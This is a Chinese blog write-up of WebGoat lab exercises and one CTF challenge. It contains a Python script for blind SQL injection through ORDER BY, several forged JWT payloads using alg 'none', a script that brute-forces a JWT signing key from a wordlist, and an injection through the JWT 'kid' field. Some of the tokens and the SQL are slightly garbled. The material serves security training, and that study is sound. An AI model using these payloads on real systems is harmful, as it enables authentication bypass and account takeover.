赞
踩
通过前期的WEB漏洞的学习,掌握了大部分的安全漏洞的原理及利用,但是在各种脚本语言开发环境的差异下,存在新的安全问题,脚本语言类型PHP,JAVA,Python等主流开发框架会有所差异
防御 sql 注入,其实就是 session,参数绑定,存储过程这样的注入。
session 内容正常情况下是用户无法修改的
select * from users where user = "'" +
session.getAttribute("UserID") + "'";
如果说对方的应用有涉及到排序的话,可以存在order by漏洞
学前知识:
JDBC编程是什么?
JDBC编程之预编译SQL与防注入
利用了 sql 的预编译技术
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
createStatement(),创建Statement对象,执行静态SQL语句
prepareStatement(sql),预处理SQL语句,返回PrepareStatement对象
prepareCall(sql),预处理存储过程的调用,返回CallableStatement对象
上面说的方式也不是能够绝对的进行 sql 注入防御,只是减轻。
如参数绑定方式可以使用下面方式绕过。
通过使用 case when 语句可以将 order by 后的 orderExpression 表达式中添加 select 语句。
靶场:webgoat
SQL Injection (mitigation) 12
1、打开网页,发现题目让我们尝试查看找webgoat-prd的服务器
python脚本跑数据
Python format 格式化函数
sql语句
case when (select substr(ip,{0},1)='{1}' from servers where hostname='webgoat-prd') then hostname else mac end
判断ip地址的每一位包括小数点,每一位如果判断对的话,hostname=webgoat-grd,然后通过返回包判断第一个hostname是不是webgoat-grd,最后如果结果和前一次结果相等,说明已经跑完数据了
注意缩进
import requests from string import digits chars = digits+"." headers = {//头部 'X-Requested-With': 'XMLHttpRequest' } cookies = {//cookie 'JSESSIONID': 'HrLE9ubl3zmQWuQ_dQHYn4sqEZH7GdJPUmnprBNp', 'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1' } i = 0 result = ""//结果 proxy={"http": "http://127.0.0.1:8080"} while True: i+=1 temp = result for char in chars: vul_url ="http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end".format(i, char) resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy) if 'webgoat-acc' in resp.json()[0]['hostname']: result += char print(result) if temp == result: break
也可以用burpsuits来爆破
待填
JSON Web Token(JSON Web 令牌)是一种跨域验证身份的方案。JWT 不加密传输的数据,但能够通
过数字签名来验证数据未被篡改(但是做完下面的 WebGoat 练习后我对这一点表示怀疑)。
JWT 分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。
JWT 的内容以 Base64URL 进行了编码。
{
“alg”:“HS256”,
“typ”:“JWT”
}
alg
说明这个JWT 的签名使用的算法的参数,常见值用HS256(默认),HS512 等,也可以为None。HS256
表示 HMAC SHA256。
typ
说明这个 token 的类型为 JWT
{
“exp”: 1416471934,
“user_name”: “user”,
“scope”: [
“read”,
“write”
],
“authorities”: [
“ROLE_ADMIN”,
“ROLE_USER”
],
“jti”: “9bc92a44-0b1a-4c5e-be70-da52075b9a84”,
“client_id”: “my-client-with-secret”
}
JWT 固定参数有:
iss:发行人
exp:到期时间
sub:主题
aud:用户
nbf:在此之前不可用
iat:发布时间
jti:JWT ID 用于标识该 JWT
服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密
码进行加密,生成的字符串就是 JWT 的签名。
下面是一个用 HS256 生成 JWT 的代码例子
HMACSHA256(base64UrlEncode(header) + “.” + base64UrlEncode(payload),secret)
1、用户端登录,用户名和密码在请求中被发往服务器
2、(确认登录信息正确后)服务器生成 JSON 头部和声明,将登录信息写入 JSON 的声明中(通常不
应写入密码,因为 JWT 是不加密的),并用 secret 用指定算法进行加密,生成该用户的 JWT。此时,
服务器并没有保存登录状态信息。
3、服务器将 JWT(通过响应)返回给客户端
4、用户下次会话时,客户端会自动将 JWT 写在 HTTP 请求头部的 Authorization 字段中
5、服务器对 JWT 进行验证,若验证成功,则确认此用户的登录状态
6、服务器返回响应
jwt解码
了解 JWT 传输过程,验证机制
了解 JWT 结构,加解密过程及注意事项
靶场:
webgoat-jwt-4
抓取数据包
JWT 存在几种攻击手段,这个题利用的是 将加密方式改为’none’ 的那种
改false为true不行,因为根本不知道密钥,改了数据,他不会根据密钥进行加密
注意:
问题来了,因为 JWT 的声明内容变了,因此签名需要重新生成,生成签名又需要密码,我们没有密
码呀?不要慌,我们直接去掉签名就好~修改头部为 None,然后把flase改为true
在 HTTP 传输过程中,Base64 编码中的"=","+","/"等特殊符号通过 URL 解码通常容易产生歧义,因此
产生了与 URL 兼容的 Base64 URL 编码
Payload:
ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNjMxMTkzOTk2LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.
登入之后
靶场:
webgoat-jwt-5
任务是
使用带有 SHA-2 函数的 HMAC,您可以使用密钥来签署和验证令牌。一旦我们找出了这个密钥,我们就可以创建一个新的令牌并对其进行签名。因此,密钥足够强大非常重要,因此暴力破解或字典攻击是不可行的。获得令牌后,您可以开始进行暴力破解或字典攻击。
鉴于我们有以下令牌,尝试找出密钥并提交一个新密钥,并将用户名更改为 WebGoat。
任务是将名字改成 WebGoat
1、脚本
import jwt import termcolor if __name__ == "__main__": jwt_str = R'eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk3MjI2NDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Y2WgbXt9wjv4p4BdM_tA9f05sG-_n1ugojijOZMXx2_Gld_Ip4dOazj9K3iWVC68W_7_HEyu2_c0qSjtqDC0Vg' with open('Top1000.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str, verify=True, key=key_) print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except jwt.exceptions.InvalidSignatureError: print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True) continue else: print('\r', '\bsorry! no key be found.')
使用爆破出来的密钥:victory和https://jwt.io/#debugger篡改JWT中名字获得篡改后的JWT,然后拿着生成的jwt-token去提交就好了,如果报错说你的jwt-token已过期,那么你就手动修改下上面的exp的值(过期时间)
靶场:
webgoat-jwt-7
访问令牌(access token)和刷新令牌(refresh token)是在用户发出JWT 身份验证/刷新请求时的到,两者都非常敏感,绝不能泄露。
POST /auth/refresh HTTP/1.1
host:auth.example.com
content:应用程序/json
Authorization:XXX.YYY.ZZZ
{"refresh_token":"ABC123"}
当前访问令牌位于 Authorization 标头中,而刷新令牌位于 POST 正文中。作为回报,您将获得一个全新的访问令牌、到期日期和刷新令牌。到目前为止一切都很好。但是如果访问令牌被泄露或泄露会发生什么?有可能攻击者会获得到某个人的访问令牌,然后通过自己的刷新令牌去获得到被攻击者的访问令牌
通过自己的刷新令牌和别人的过期的访问令牌得到别人的新的访问令牌
步骤:
1、打开页面,点击在此处,跳转到了一个日志文件
2、在其中发现了一个token,拿去解密
3、通过判断,可能是Tom的过期访问令牌
4、所以我们现在可以利用自己的刷新令牌去刷新tom的访问令牌
那么我们的令牌在哪里呢,在日志文件中发现了一个login登录页面,但是我们不知道数据包是什么样的
5、那么我们又只有用白盒的方式解决了。全局搜索:/refresh/checkout,定位到文件:/opt/WebGoat/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java
6、点击购买,抓取数据包,然后改造数据库
POST /WebGoat/JWT/refresh/login HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Cookie: JSESSIONID=bLVYhxKoBqW73W40vRZNupZWSb0yy0l6jRJpvipq; BkGOp9578O_think_template=default; UM_distinctid=17b713de16ec4-0e3b4fc22ce6118-13676d4a-110400-17b713de16f1b9; CNZZDATA1257137=cnzz_eid%3D1990228668-1629688795-%26ntime%3D1629688795
Connection: keep-alive
Content-Length: 50
{"user":"jerry","password":"bm5nhSkxCXZkKRy4"}
7、查看提示,得到刷新令牌的地址
8、伪造刷新令牌数据包
9、用拿到的tom access_token去付款,finally, we got it!
第二种方法:把加密方法改为none,然后把时间延迟即可
payload:
eyJhbGciOiJub25lIn0.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTkyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.
靶场:webgoat-jwt-8
解释
原理:通过kid在数据库搜索密钥,然后利用密钥生成jwt
利用:利用sql注入,伪造自己想要的密钥,从而伪造token
1.JWT中原始数据: “kid”: “webgoat_key”
sql语句:“SELECT key FROM jwt_keys WHERE id = '” + kid + “’”;
那么就是说明,jwt_keys表中有一个id的值是:“webgoat_key”
2.Jwts.parser().setSigningKeyResolver(自定义方法获取签名KEY).parseClaimsJws(token);//通过自定义方法获取签名key然后对token进行JWT解析
3.JWT中username要等于Tom
y' union select concat_group(id) from jwt_keys'
eyJ0eXAi0iJKV1QiLCJraWQi0iInIHVuaW9uIHN1bGVjdCAnWVhocGJnPTOnIGZyb20gand0x2tleXMgd2hlcmUgaWQ9J3d1YmdvYXRfa2V51iwiYWxnIjoiSFMyNTYifQ.eyJpc3Mi0iJXZWJHb2FOIFRva2VuIEJ1aWxkZXIiLCJpYXQi0jE1MjQyMTA5MDQsImV4c.CI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIi0iJUb21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IIRvbSIsIkVtYWlsIjoiamVycnlAd2ViZ29hdC5jb20iLCJSb2xlIjpbIkNhdCJdfQ.YyQ28i3dF2UsoFbc9bQuZAFskmXsz7Yaj0m2ECkrtQ
eyJ0eXAiOiJKV1QiLCJraWQiOiInIHVuaW9uIHNlbGVjdCAnWVhocGJnPT0nIGZyb20gand0X2tleXMgd2hlcmUgaWQ9J3dlYmdvYXRfa2V5IiwiYWxnIjoiSFMyNTYifQ.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.d76wdI5jXogIYXddAvsI8FD-oFnyU9YbkXg1geH5gxE
[HFCTF2020EasyLogin
解释
ctf-easy-going
步骤
1、登录抓包,得到token
POST /api/login HTTP/1.1
Host: 9d34542e-bf00-41d5-926e-a40e90c0903c.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://9d34542e-bf00-41d5-926e-a40e90c0903c.node4.buuoj.cn:81/login
Content-Length: 210
Cookie: sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTYzMDQ5MzU5MDg3MiwiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=MQBa58V1MPHdFXgi6R2W3cpvyjM
Connection: close
username=admin&password=123&authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTYzMDQwNjgxM30.iPVEo0cxZiefrhsJLbN_F69IdwPyI-ejH7yhfxfBWoE
2、修改token,建议2个分开base64编码,然后连起来
3、放行,得到sses:aok,sses:aok.sig
4、登录后页面
5、然后点击get flag,抓取数据包
GET /api/flag HTTP/1.1
Host: 9d34542e-bf00-41d5-926e-a40e90c0903c.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: http://9d34542e-bf00-41d5-926e-a40e90c0903c.node4.buuoj.cn:81/home
Cookie: sses:aok=eyJ1c2VybmFtZSI6ImFkbWluIiwiX2V4cGlyZSI6MTYzMDQ5NDEwNjU2OSwiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=8dx63eFxnrG3a412VdFRcGVX9kA
Connection: close
6、将sses:aok,sses:aok.sig更改为刚刚的sses:aok,sses:aok.sig,然后放行,得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。